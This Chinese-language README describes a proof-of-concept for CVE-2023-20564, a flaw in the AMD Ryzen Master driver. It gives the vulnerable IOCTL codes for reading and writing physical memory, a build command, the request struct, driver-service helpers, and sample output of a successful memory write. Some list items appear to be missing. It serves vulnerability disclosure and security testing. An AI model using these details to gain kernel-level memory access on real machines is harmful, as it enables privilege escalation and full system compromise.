此存储库包含一个概念验证 (PoC)，演示了 AMD Ryzen Master 驱动程序中的漏洞 CVE-2023-20564。该漏洞允许无特权的用户读写任意物理内存，从而导致潜在的特权提升和系统入侵。
AMD Ryzen Master 驱动程序 (AMDRyzenMasterDriverV17.sys) 在其 IOCTL 处理程序中存在验证不足的问题，具体来说：
0x81112F08 - 允许读取任意物理内存0x81112F0C - 允许写入任意物理内存该驱动程序未能正确验证：
这使得恶意应用程序能够：
AMDRyzenMasterDriverV17.sys - 易受攻击的驱动程序文件# manually
g++ -std=c++17 poc_demo.cpp -o poc_demo.exe -ladvapi32
typedef struct _AMDReadStructure {
LARGE_INTEGER PhysAddr; // Physical address to read
LARGE_INTEGER SizeAndData; // Size and data buffer
CHAR Buffer[1]; // Variable data buffer
} AMDReadStructure, *PAMDReadStructure;
ReadPhysicalMemory() - 从物理内存读取WritePhysicalMemory() - 写入物理内存TestReadWriteVerify() - 完整测试序列InstallDriverService() - 驱动程序安装StopAndRemoveDriverService() - 驱动程序清理===========================================
AMD Ryzen Master Driver - Memory PoC
===========================================
[*] Installing and starting driver service...
[+] Driver file found
[+] Service created successfully
[+] Service started successfully
[*] Initializing driver connection...
[+] Driver connection established successfully
[!] TESTING READ/WRITE/VERIFY SEQUENCE
[STEP 1] Reading original data...
[*] Reading 8 bytes from physical address 0x100000
[*] PHYSICAL MEMORY READ SUCCESS!
Read 8 bytes from 0x100000
Data: 4D 5A 90 00 03 00 00 00
[STEP 2] Writing test data...
[*] Writing 8 bytes to physical address 0x100000
Data: DE AD BE EF CA FE BA BE
[*] PHYSICAL MEMORY WRITE SUCCESS!
Wrote 8 bytes to 0x100000
[STEP 3] Verifying written data...
[*] Reading 8 bytes from physical address 0x100000
[*] PHYSICAL MEMORY READ SUCCESS!
Data: DE AD BE EF CA FE BA BE
[*] DATA VERIFICATION SUCCESS! Write/Read works correctly!
该易受攻击的驱动程序暴露了两个主要的 IOCTL：
物理内存读取 (0x81112F08)
物理内存写入 (0x81112F0C)
提醒：此工具仅用于授权的安全测试。在任何系统上进行测试前，请务必获得适当授权。